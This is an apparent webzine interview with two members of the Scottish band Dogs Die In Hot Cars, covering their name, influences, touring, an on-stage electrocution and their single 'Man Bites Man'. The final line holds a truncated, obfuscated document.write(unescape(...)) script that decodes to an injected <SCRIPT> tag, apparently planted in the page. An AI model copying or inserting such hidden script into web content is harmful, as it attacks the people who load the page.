Dogs Die In Hot Cars Interview

Present:
Craig Macintosh â€" lead singer/guitarist
Lee Worrall - bass

The Fife born band, Dogs Die In Hot Cars, have been enjoying some good press of late with the recent release of their second single, and debut for V2, 'Man Bites Man'.

'One of the most exciting new bands in the U.K' â€" NME
'Perfect but very personal pop' - The Face
'Scottish excellence, their debut single is a killer' - The Fly
'Clever, emotive pop, a great great band' - Rock Sound
'A compelling live show' - Sunday Times Culture

So despite having been told our interview time had been cut, due to the band having been confirmed to do a live session on the Steve Lemacq show on Radio 1, we jumped straight into interrogation mode.


M-N: Craig, was that your mobile going off when you were on stage at the 100 club the other night?

Craig: Oh I forgot about that! Fuck!
Lee: What did you say?
Craig: Well it was my voicemail, it phoned me back just at the fucking break.
[Laughter all round]. I heard somebody say 'Is that your Mum?' and I replied
probably!. Oh man, it would have been great if I just said [holds up imaginary
phone] could you say hello to my Mum.

M-N: Unbelievably great band name, where did it come from?

Lee: Some people think the absolute opposite and hate it, that's why it's so good. Whether you love it or hate it, you remember it.
Craig: It's memorable so therefore it works.

M-N: Is there not a more significant meaning to it? I mean, did any dogs suffer during the making of this name?

Craig: [Sarcastic] Deep meaning to it!! [Laughter]. No we made up so many things as to where it came from, but it looks good, I think it looks good in print, it sounds good when you say it.
Lee: Although it's always in tiny print, other bands with shorter names have theirs in massive print.

M-N: There's a lot of early eighties influence in your music, can I ask, how old you both are?

Craig: We're 24.
Lee: It's pure chance that it sounds eighties.

M-N: Really?

Lee: Well, the conclusion that we draw is that Craig sings in his own voice, unlike most other British bands, that generally adopt a kind of American twang.
Craig: If you're writing lyrics that mean something to you, then what's the point in singing with some kind of slur? That means pronouncing my T's and being kind of well spoken. The last time that was a popular thing was in the eighties, and that's not to say that we're not into that type of music I think the late seventies and early eighties was an incredible era for real innovation, but you know we're all at it now.
Lee: Yeah, everything's retro these days.

M-N: I read in an interview that you guys formed through your love of the Red Hot Chili Peppers, is this true? And if so why is it not reflected in the music?

Craig: Yeah, I don't think Ruth [keyboardist] is into them though.
Lee: I think she's not into them because we all are. That's the type of band we all grew up listening to and still like as much as any band.
Craig: I think it's weird actually, I noticed … [pauses, looks up] man that's a big T.V.! [we're in the V2 boardroom by the way].

M-N: We saw it first!

Craig: I remember about 4 or 5 years ago talking to these American friends that came over, telling them that we really like the Chilis, and they said, 'Yeah but they're too main stream'. So when we talk about the Chilis now I do get the impression that some people think, that's weird, your into this band that's really mainstream. It's funny because a lot of people always make a comparison with 'Talking Heads' and the Chili Peppers are talking heads fans. John Frusciante, the guitarist, is really into them and if you listen to him you can tell that he's being influenced by Talking Heads, and he's my favourite guitarist.

M-N: I know you are currently on a gruelling tour schedule, what do you guys do on your nights off?

Lee: We've being on tour since the 21st of January and I think we've had 2 days off.
Craig: I've only had one day off because I've being recording.
Lee: We're staying in travel lodges [sighs] and when we had a day off we ended up spending it in a field just outside Hull. Great.

M-N: Craig, apparently you nearly got electrocuted on stage.

Craig: I did get electrocuted, I went on stage, started to say hello and grabbed the mike stand, which was actually live. It was connected to a bunch of ‘four ways' that was lying in a pool of water with a bunch of wires sticking out.
Lee: I thought that Gary [the guitarist] had punched him because, all of a sudden, he came flying past me and fell on the floor. I was like 'Fucking hell Gary, what are you doing?' and Craig was on the ground moaning, 'don't touch me.'
Craig: I honestly thought that I was going to die.
Lee: It was in Dundee, near where we're all from. His mother [points to Craig] was standing there watching with her friends.
Craig: Lawrence's [drummer] Dad was there and he's a doctor, I remember walking in a room with only him there thinking, am I in heaven? He told me that quite a few years back the same thing happened to some guy and he died.

M-N: How did you actually let go of the mike.

Craig: I couldn't, everybody was trying to kick it out and everything, but eventually the stand just lost contact with the water or something. The next night we did the shittiest gig ever, everybody was a bit nervous but it was the best thing to do, you know, get straight back into it.

M-N: Doing any festivals this year?

Lee: We've being confirmed for T in the Park but we'd like to do as many as possible.

M-N: Clive Langer and Alan Winstanley produced this album, they also produced a lot of eighties bands like Dexy's, Madness and David Bowie was this a coincidence?

Craig: Dexy's was a coincidence but Elvis Costello is amazing. They also had such a long relationship with 'Madness' the fact that they did every single album is great. They also did 'Bird house in your soul' by 'They might be giants' which is just amazing.

M-N: If you could support any band at any time, who would it be?

Craig: I would say Kate Bush in her prime! Twenty years ago me and her could have had something going! Her music is incredible. A real big inspiration to me vocally, and she produced as well.
Lee: Well, [Head in his hands there is a long pause].
Craig: She's great, pregnant now you know.

M-N: Anything we need to know about?

Craig: No, NO!
Lee: The Chilis would be mine. Yeah, if they want to give us a support slot we'll take it.

M-N: Man bites Man, what is the song about?

Craig: The title is not meant to be taken literally. It's like different scenarios about aggression, like drivers and taxi drivers just giving you jip and protective mothers in supermarkets. These are worlds within worlds, not everything is exactly as you think it should be. I really hate talking about lyrics, it's like art, the purpose of art is peoples own interpretation of it, and when you're told exactly what the art is supposed to mean it loses its purpose. So, I think you've got to be ambiguous and say it's whatever you want it to be.

M-N: How do the songs come about?

Craig: I take quite a long time writing. I use the computer a lot but most of it starts from rhythm and then the words. Sometimes we just jam together in a room or Gary's [guitarist] written the music and then I kind of go away with the recording for however long, sometimes it takes days, sometimes weeks. It's weird, one song might take two days but then there's a song called 'Apples & Oranges', which is my favourite off the album, and that took maybe 3-4 months. I like putting stuff down on the computer and experimenting.

M-N: Any good band stories?

Craig: When we were mixing a couple of tracks in the 'Townhouse', London, we were in this dark room and it was about 5 am. There were four of us, myself, Lee, Lawrence and 'Baby' that's Chris our sound engineer, he's called baby because he's about 6' 7'. We were just sleeping on the floor in this room, which had a glass front, and we were looking out into the reception area of the studio. You could see straight out through the glass front door. All of a sudden we heard this 'bang bang' noise. We all got up, except for Lee who was still asleep, looked out the glass window and see these two guys wearing motorbike helmets with slabs of concrete trying to break into the studio. We couldn't get out because they would have seen us. Then we heard people moving about downstairs.
Lee: So I woke up, and seeing them all there standing around I stood up and casually asked 'What's up?' Everyone's like 'Shut up! Shut up!' So we called the police, we were waiting for 5
minutes. There we were with 'Baby', who everybody just wanted to hide behind, and he was just standing there, absolutely frozen! I was still on the phone to the police and this women comes on and I tell her, I think they're still in the building and she asks who? And I shout, 'Who!, the fucking robbers!' [everybody laughs]. She replies, really professionally, 'Oh my God!' [roars of laughter]. Anyway, it turns out what happened was, they had broken in and just stolen some laptops at reception and run, and the noises we could hear in the room below us, was the sound engineer from another studio just walking around oblivious.

M-N: What music are you listening to at the moment?

Craig: I'm into really minimalist composers like John Cage right now.
Lee: [Holds his shaking head in his hands yet again] Please don't get him started on this, it's rubbish. One song lasts about an hour and nothing happens, absolutely nothing happens.

I look to the clock on the boardroom wall, we've overrun by 25 mins, it's now 5 to 5.

Craig: Shit! Shit! We're meant to be at Radio 1 at 5 o'clock!

A couple of hand shakes later Craig and Lee depart with haste, we wish them well ... and we really mean it.

And as if by magic we are left alone in the boardroom with the large screen tv.


Man Bites Man is out now. The as yet untitled album will be released later in the year.document.write(unescape("\074\123CR\111PT%3E\144oc%75\155%65n\04574.w%72\151te\050un\145\163ca\160e(%22